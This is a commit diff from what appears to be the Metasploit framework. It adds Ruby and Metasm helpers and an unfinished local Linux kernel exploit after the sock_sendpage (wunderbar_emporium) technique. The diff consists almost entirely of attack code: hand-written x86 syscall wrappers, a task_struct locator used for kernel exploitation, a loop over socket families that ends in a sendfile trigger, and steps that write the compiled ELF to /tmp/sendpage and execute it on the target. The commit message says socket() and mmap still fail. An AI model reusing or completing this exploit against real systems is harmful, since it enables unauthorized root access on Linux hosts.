More progress on syscall wrappers
Something is still broken, my socket() is returning EAFNOSUPPORT whereas what looks like the same syscall in wunderbar_emporium's exploit.c is returning a socket. Similarly, my __mmap2() is returning EFAULT when trying to map anything, not just NULL.unstable
parent
fd8b1636b9
commit
6913440d67
|
@ -0,0 +1,19 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::Local::CompileC
|
||||
|
||||
attr_accessor :cpu
|
||||
attr_accessor :cparser
|
||||
|
||||
def setup
|
||||
super
|
||||
init_metasm(Metasm::Ia32.new)
|
||||
end
|
||||
|
||||
def init_metasm(cpu, cparser=nil)
|
||||
@cpu = cpu
|
||||
@cparser = cparser || @cpu.new_cparser
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,139 @@
|
|||
require 'msf/core/exploit/local/compile_c'
|
||||
load 'lib/msf/core/exploit/local/compile_c.rb'
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::Linux
|
||||
include Exploit::Local::CompileC
|
||||
|
||||
def linux_x86_syscall_wrappers(metasm_exe)
|
||||
cparser.parse <<-EOC
|
||||
#ifndef size_t
|
||||
#define size_t int
|
||||
#endif
|
||||
#ifndef off_t
|
||||
#define off_t unsigned long
|
||||
#endif
|
||||
|
||||
#define O_CREAT 64
|
||||
#define O_RDWR 2
|
||||
|
||||
#define MAP_PRIVATE 0x02
|
||||
#define MAP_FIXED 0x10
|
||||
#define MAP_ANONYMOUS 0x20
|
||||
#define MAP_ANON MAP_ANONYMOUS
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define PROT_EXEC 0x4
|
||||
|
||||
void exit(int status);
|
||||
int read(int fd, void *buf, size_t count);
|
||||
int write(int fd, void *buf, size_t count);
|
||||
int open(const char *pathname, int flags, int mode);
|
||||
int unlink(const char *pathname);
|
||||
int ftruncate(int fd, off_t length);
|
||||
int socket(int, int, int);
|
||||
int sendfile(int in_fd, int out_fd, void *, int count);
|
||||
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
|
||||
void *__mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
|
||||
|
||||
void *
|
||||
mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
|
||||
{
|
||||
return __mmap2(addr, length, prot, flags, fd, (offset >> 12));
|
||||
}
|
||||
|
||||
#ifdef DEBUGGING
|
||||
void sigtrap();
|
||||
#else
|
||||
#define sigtrap()
|
||||
#endif
|
||||
|
||||
EOC
|
||||
metasm_exe.parse <<-EOS
|
||||
sigtrap:
|
||||
int 3
|
||||
ret
|
||||
exit:
|
||||
mov eax, 1 ; sys_exit
|
||||
mov ebx, [esp+4]
|
||||
int 0x80
|
||||
ret
|
||||
read:
|
||||
mov eax, 3 ; sys_write
|
||||
mov edx,[esp+12] ; length
|
||||
mov ecx,[esp+8] ; string
|
||||
mov ebx,[esp+4] ; file descriptor
|
||||
int 0x80
|
||||
ret
|
||||
write:
|
||||
mov eax, 4 ; sys_write
|
||||
mov edx,[esp+12] ; length
|
||||
mov ecx,[esp+8] ; string
|
||||
mov ebx,[esp+4] ; file descriptor
|
||||
int 0x80
|
||||
ret
|
||||
open:
|
||||
mov eax, 5 ; sys_open
|
||||
mov ecx,[esp+8] ; mode
|
||||
mov ebx,[esp+4] ; flags
|
||||
int 0x80
|
||||
ret
|
||||
ftruncate:
|
||||
mov eax, 92 ; sys_ftruncate
|
||||
mov ecx,[esp+8] ; file descriptor
|
||||
mov ebx,[esp+4] ; size
|
||||
int 0x80
|
||||
ret
|
||||
socket:
|
||||
mov eax, 102 ; sys_socketcall
|
||||
mov ecx,[esp] ; args
|
||||
mov ebx,0x1 ;
|
||||
int 0x80
|
||||
ret
|
||||
sendfile:
|
||||
mov eax, 187 ; sys_sendfile
|
||||
mov esi,[esp+16] ; size
|
||||
mov edx,[esp+12] ; offset
|
||||
mov ecx,[esp+8] ; out_fd
|
||||
mov ebx,[esp+4] ; in_fd
|
||||
int 0x80
|
||||
ret
|
||||
|
||||
unlink:
|
||||
mov eax, 10 ; sys_unlink
|
||||
mov ebx,[esp+4] ; filename
|
||||
int 0x80
|
||||
ret
|
||||
|
||||
__mmap2:
|
||||
push ebx
|
||||
push ecx
|
||||
push edx
|
||||
push esi
|
||||
push edi
|
||||
push ebp
|
||||
|
||||
mov eax, 90
|
||||
mov ebx, [esp+28]
|
||||
mov ecx, [esp+32]
|
||||
mov edx, [esp+36]
|
||||
mov esi, [esp+40]
|
||||
mov edi, [esp+44]
|
||||
mov ebp, [esp+48]
|
||||
int 0x80
|
||||
|
||||
pop ebp
|
||||
pop edi
|
||||
pop esi
|
||||
pop edx
|
||||
pop ecx
|
||||
pop ebx
|
||||
ret
|
||||
EOS
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,6 +1,61 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::Local::LinuxKernel
|
||||
include Msf::Exploit::Local::CompileC
|
||||
|
||||
def current_task_struct_h(metasm_exe)
|
||||
metasm_exe.parse <<-EOS
|
||||
current_stack_pointer:
|
||||
mov eax, esp
|
||||
ret
|
||||
EOS
|
||||
|
||||
# Taken from sock_sendpage.c
|
||||
cparser.parse <<-EOC
|
||||
#define TASK_RUNNING 0
|
||||
|
||||
int current_stack_pointer(void);
|
||||
|
||||
static inline unsigned long
|
||||
current_task_struct(void)
|
||||
{
|
||||
unsigned long task_struct, thread_info;
|
||||
|
||||
thread_info = current_stack_pointer() & ~(4096 - 1);
|
||||
|
||||
if (*(unsigned long *)thread_info >= 0xc0000000) {
|
||||
task_struct = *(unsigned long *)thread_info;
|
||||
|
||||
/*
|
||||
* The TASK_RUNNING is the only possible state for a process executing
|
||||
* in user-space.
|
||||
*/
|
||||
if (*(unsigned long *)task_struct == TASK_RUNNING)
|
||||
return task_struct;
|
||||
}
|
||||
|
||||
/*
|
||||
* Prior to the 2.6 kernel series, the task_struct was stored at the end
|
||||
* of the kernel stack.
|
||||
*/
|
||||
task_struct = current_stack_pointer() & ~(8192 - 1);
|
||||
|
||||
if (*(unsigned long *)task_struct == TASK_RUNNING)
|
||||
return task_struct;
|
||||
|
||||
thread_info = task_struct;
|
||||
|
||||
task_struct = *(unsigned long *)thread_info;
|
||||
|
||||
if (*(unsigned long *)task_struct == TASK_RUNNING)
|
||||
return task_struct;
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EOC
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,38 +1,144 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::Local::Unix
|
||||
attr_accessor :cpu
|
||||
attr_accessor :cparser
|
||||
|
||||
def setup
|
||||
super
|
||||
init_metasm(Metasm::Ia32.new)
|
||||
end
|
||||
include Exploit::Local::CompileC
|
||||
|
||||
def init_metasm(cpu, cparser=nil)
|
||||
@cpu = cpu
|
||||
@cparser = cparser || cpu.new_cparser
|
||||
end
|
||||
|
||||
def include_socket_h
|
||||
def unix_socket_h(metasm_exe)
|
||||
# Most of this is copied from
|
||||
# external/source/meterpreter/source/bionic/libc/kernel/common/linux/socket.h
|
||||
cparser.parse <<-EOC
|
||||
#define PF_BLUETOOTH 31
|
||||
#define PF_IUCV 32
|
||||
#define AF_UNSPEC 0
|
||||
#define AF_UNIX 1
|
||||
#define AF_LOCAL 1
|
||||
#define AF_INET 2
|
||||
#define AF_AX25 3
|
||||
#define AF_IPX 4
|
||||
#define AF_APPLETALK 5
|
||||
#define AF_NETROM 6
|
||||
#define AF_BRIDGE 7
|
||||
#define AF_ATMPVC 8
|
||||
#define AF_X25 9
|
||||
#define AF_INET6 10
|
||||
#define AF_ROSE 11
|
||||
#define AF_DECnet 12
|
||||
#define AF_NETBEUI 13
|
||||
#define AF_SECURITY 14
|
||||
#define AF_KEY 15
|
||||
#define AF_NETLINK 16
|
||||
#define AF_ROUTE AF_NETLINK
|
||||
#define AF_PACKET 17
|
||||
#define AF_ASH 18
|
||||
#define AF_ECONET 19
|
||||
#define AF_ATMSVC 20
|
||||
#define AF_SNA 22
|
||||
#define AF_IRDA 23
|
||||
#define AF_PPPOX 24
|
||||
#define AF_WANPIPE 25
|
||||
#define AF_LLC 26
|
||||
#define AF_TIPC 30
|
||||
#define AF_BLUETOOTH 31
|
||||
#define AF_MAX 32
|
||||
|
||||
#define IPPROTO_SCTP 132
|
||||
#define PF_UNSPEC AF_UNSPEC
|
||||
#define PF_UNIX AF_UNIX
|
||||
#define PF_LOCAL AF_LOCAL
|
||||
#define PF_INET AF_INET
|
||||
#define PF_AX25 AF_AX25
|
||||
#define PF_IPX AF_IPX
|
||||
#define PF_APPLETALK AF_APPLETALK
|
||||
#define PF_NETROM AF_NETROM
|
||||
#define PF_BRIDGE AF_BRIDGE
|
||||
#define PF_ATMPVC AF_ATMPVC
|
||||
#define PF_X25 AF_X25
|
||||
#define PF_INET6 AF_INET6
|
||||
#define PF_ROSE AF_ROSE
|
||||
#define PF_DECnet AF_DECnet
|
||||
#define PF_NETBEUI AF_NETBEUI
|
||||
#define PF_SECURITY AF_SECURITY
|
||||
#define PF_KEY AF_KEY
|
||||
#define PF_NETLINK AF_NETLINK
|
||||
#define PF_ROUTE AF_ROUTE
|
||||
#define PF_PACKET AF_PACKET
|
||||
#define PF_ASH AF_ASH
|
||||
#define PF_ECONET AF_ECONET
|
||||
#define PF_ATMSVC AF_ATMSVC
|
||||
#define PF_SNA AF_SNA
|
||||
#define PF_IRDA AF_IRDA
|
||||
#define PF_PPPOX AF_PPPOX
|
||||
#define PF_WANPIPE AF_WANPIPE
|
||||
#define PF_LLC AF_LLC
|
||||
#define PF_TIPC AF_TIPC
|
||||
#define PF_BLUETOOTH AF_BLUETOOTH
|
||||
#define PF_MAX AF_MAX
|
||||
|
||||
#define SOCK_STREAM 1
|
||||
#define SOCK_DGRAM 2
|
||||
#define SOCK_SEQPACKET 5
|
||||
#define SOMAXCONN 128
|
||||
|
||||
#define MSG_OOB 1
|
||||
#define MSG_PEEK 2
|
||||
#define MSG_DONTROUTE 4
|
||||
#define MSG_TRYHARD 4
|
||||
#define MSG_CTRUNC 8
|
||||
#define MSG_PROBE 0x10
|
||||
#define MSG_TRUNC 0x20
|
||||
#define MSG_DONTWAIT 0x40
|
||||
#define MSG_EOR 0x80
|
||||
#define MSG_WAITALL 0x100
|
||||
#define MSG_FIN 0x200
|
||||
#define MSG_SYN 0x400
|
||||
#define MSG_CONFIRM 0x800
|
||||
#define MSG_RST 0x1000
|
||||
#define MSG_ERRQUEUE 0x2000
|
||||
#define MSG_NOSIGNAL 0x4000
|
||||
#define MSG_MORE 0x8000
|
||||
|
||||
#define MSG_EOF MSG_FIN
|
||||
|
||||
#define MSG_CMSG_COMPAT 0
|
||||
|
||||
#define SOL_IP 0
|
||||
|
||||
#define SOL_TCP 6
|
||||
#define SOL_UDP 17
|
||||
#define SOL_IPV6 41
|
||||
#define SOL_ICMPV6 58
|
||||
#define SOL_SCTP 132
|
||||
#define SOL_RAW 255
|
||||
#define SOL_IPX 256
|
||||
#define SOL_AX25 257
|
||||
#define SOL_ATALK 258
|
||||
#define SOL_NETROM 259
|
||||
#define SOL_ROSE 260
|
||||
#define SOL_DECNET 261
|
||||
#define SOL_X25 262
|
||||
#define SOL_PACKET 263
|
||||
#define SOL_ATM 264
|
||||
#define SOL_AAL 265
|
||||
#define SOL_IRDA 266
|
||||
#define SOL_NETBEUI 267
|
||||
#define SOL_LLC 268
|
||||
#define SOL_DCCP 269
|
||||
#define SOL_NETLINK 270
|
||||
#define SOL_TIPC 271
|
||||
|
||||
#define IPX_TYPE 1
|
||||
|
||||
|
||||
#define PF_IUCV 32
|
||||
#define IPPROTO_SCTP 132
|
||||
|
||||
#define SOCK_STREAM 1
|
||||
#define SOCK_DGRAM 2
|
||||
#define SOCK_SEQPACKET 5
|
||||
|
||||
struct iovec {
|
||||
char *iov_base;
|
||||
int iov_len;
|
||||
};
|
||||
|
||||
int socket(int, int, int);
|
||||
EOC
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -11,10 +11,12 @@ require 'msf/core/post/common'
|
|||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/exploit/local/linux_kernel'
|
||||
require 'msf/core/exploit/local/linux'
|
||||
require 'msf/core/exploit/local/unix'
|
||||
|
||||
|
||||
load 'lib/msf/core/exploit/local/unix.rb'
|
||||
load 'lib/msf/core/exploit/local/linux.rb'
|
||||
load 'lib/msf/core/exploit/local/linux_kernel.rb'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
@ -24,6 +26,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
include Msf::Post::Common
|
||||
|
||||
include Msf::Exploit::Local::LinuxKernel
|
||||
include Msf::Exploit::Local::Linux
|
||||
include Msf::Exploit::Local::Unix
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -53,103 +56,122 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
include_socket_h
|
||||
sc = Metasm::Shellcode.new(@cpu)
|
||||
sc = Metasm::ELF.new(@cpu)
|
||||
cparser.parse "#define DEBUGGING"
|
||||
sc.parse %Q|
|
||||
#define DEBUGGING
|
||||
#ifdef __ELF__
|
||||
.section ".text" rwx
|
||||
.entrypoint
|
||||
#endif
|
||||
call main
|
||||
push eax
|
||||
call exit
|
||||
|
|
||||
|
||||
unix_socket_h(sc)
|
||||
current_task_struct_h(sc)
|
||||
|
||||
case target.arch.first
|
||||
when ARCH_X86
|
||||
@cparser.parse <<-EOS
|
||||
#define NULL ((void*)0)
|
||||
#define PAGE_SIZE (4096)
|
||||
#define O_CREAT 64
|
||||
#define O_RDWR 2
|
||||
linux_x86_syscall_wrappers(sc)
|
||||
main = <<-EOS
|
||||
#define NULL ((void*)0)
|
||||
#define PAGE_SIZE (4096)
|
||||
#define DOMAINS_STOP -1
|
||||
const int domains[] = {
|
||||
PF_APPLETALK,
|
||||
PF_IPX,
|
||||
PF_IRDA,
|
||||
PF_X25,
|
||||
PF_AX25,
|
||||
PF_BLUETOOTH,
|
||||
PF_PPPOX,
|
||||
DOMAINS_STOP
|
||||
};
|
||||
|
||||
#define MAP_PRIVATE 0x02
|
||||
#define MAP_FIXED 0x10
|
||||
#define MAP_ANONYOUS 0x20
|
||||
int main() {
|
||||
int in_fd, out_fd;
|
||||
char *addr;
|
||||
int d = 0;
|
||||
|
||||
void exit(int);
|
||||
int open(char *, int, int);
|
||||
void sigtrap();
|
||||
int ftruncate(int, int);
|
||||
int sendfile(int, int, int *, int);
|
||||
int socket(int, int, int);
|
||||
/*
|
||||
addr = mmap(
|
||||
NULL, 0x1000,
|
||||
PROT_EXEC | PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
|
||||
0, 0);
|
||||
sigtrap();
|
||||
if (addr != NULL) {
|
||||
#{c_puts("Failed, trying again without PROT_EXEC hoping they don't support NX")}
|
||||
addr = mmap(
|
||||
NULL, 0x1000,
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
|
||||
0, 0);
|
||||
sigtrap();
|
||||
if (addr == NULL) {
|
||||
#{c_puts("Mapped NULL! ZOMG! Let's fighting love!")}
|
||||
} else {
|
||||
#{c_puts("Failed to map 0 page")}
|
||||
}
|
||||
}
|
||||
|
||||
int current_stack_pointer(void);
|
||||
addr[0] = '\\xff';
|
||||
addr[1] = '\\x25';
|
||||
*(unsigned long *)&addr[2] = 8;
|
||||
*(unsigned long *)&addr[8] = (unsigned long)&sigtrap;
|
||||
*/
|
||||
|
||||
void main() {
|
||||
int in_fd, out_fd;
|
||||
char *addr;
|
||||
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
|
||||
#{c_puts("Next domain")}
|
||||
out_fd = socket(domains[d], SOCK_DGRAM, 0);
|
||||
sigtrap();
|
||||
if (in_fd > 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0);
|
||||
in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700);
|
||||
ftruncate(in_fd, 0);
|
||||
sendfile(in_fd, out_fd, NULL, PAGE_SIZE);
|
||||
exit(0x42);
|
||||
}
|
||||
if (out_fd < 0) {
|
||||
#{c_puts("No domains.")}
|
||||
exit(1);
|
||||
}
|
||||
|
||||
in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700);
|
||||
unlink("/tmp/woot");
|
||||
|
||||
ftruncate(in_fd, 0);
|
||||
#{c_puts("About to trigger")}
|
||||
sendfile(in_fd, out_fd, NULL, PAGE_SIZE);
|
||||
return 42;
|
||||
}
|
||||
EOS
|
||||
asm = @cpu.new_ccompiler(@cparser, sc).compile
|
||||
puts asm
|
||||
cparser.parse(main)
|
||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||
|
||||
sc.parse "call main"
|
||||
sc.parse asm
|
||||
sc.parse <<-EOS
|
||||
current_stack_pointer:
|
||||
mov eax, esp
|
||||
ret
|
||||
EOS
|
||||
|
||||
sc.parse <<-EOS
|
||||
sigtrap:
|
||||
int 3
|
||||
ret
|
||||
exit:
|
||||
mov eax, 1 ; sys_exit
|
||||
mov ebx, [esp+4]
|
||||
int 0x80
|
||||
ret
|
||||
open:
|
||||
mov eax, 5 ; sys_open
|
||||
mov ecx,[esp+8] ; mode
|
||||
mov ebx,[esp+4] ; flags
|
||||
int 0x80
|
||||
ret
|
||||
ftruncate:
|
||||
mov eax, 92 ; sys_ftruncate
|
||||
mov ecx,[esp+8] ; file descriptor
|
||||
mov ebx,[esp+4] ; size
|
||||
int 0x80
|
||||
ret
|
||||
socket:
|
||||
mov eax, 102 ; sys_socketcall
|
||||
mov ecx,[esp] ; args
|
||||
mov ebx,0x1 ;
|
||||
int 0x80
|
||||
ret
|
||||
sendfile:
|
||||
mov eax, 187 ; sys_sendfile
|
||||
mov esi,[esp+16] ; size
|
||||
mov edx,[esp+12] ; offset
|
||||
mov ecx,[esp+8] ; out_fd
|
||||
mov ebx,[esp+4] ; in_fd
|
||||
int 0x80
|
||||
ret
|
||||
EOS
|
||||
end
|
||||
|
||||
sc.assemble
|
||||
|
||||
foo = sc.encode_string
|
||||
if sc.kind_of? Metasm::ELF
|
||||
elf = sc.encode_string
|
||||
else
|
||||
foo = sc.encode_string
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
|
||||
end
|
||||
|
||||
#puts Rex::Text.to_hex_dump(foo)
|
||||
File.open("payload.bin", "wb") {|fd|
|
||||
fd.write Msf::Util::EXE.to_linux_x86_elf(framework, foo)
|
||||
fd.write elf
|
||||
}
|
||||
write_file("/tmp/sendpage", elf)
|
||||
p cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
|
||||
|
||||
end
|
||||
|
||||
def include_linux_syscall_h
|
||||
def c_puts(str)
|
||||
%Q|write(1, "#{str}\\n", #{str.length + 1});|
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue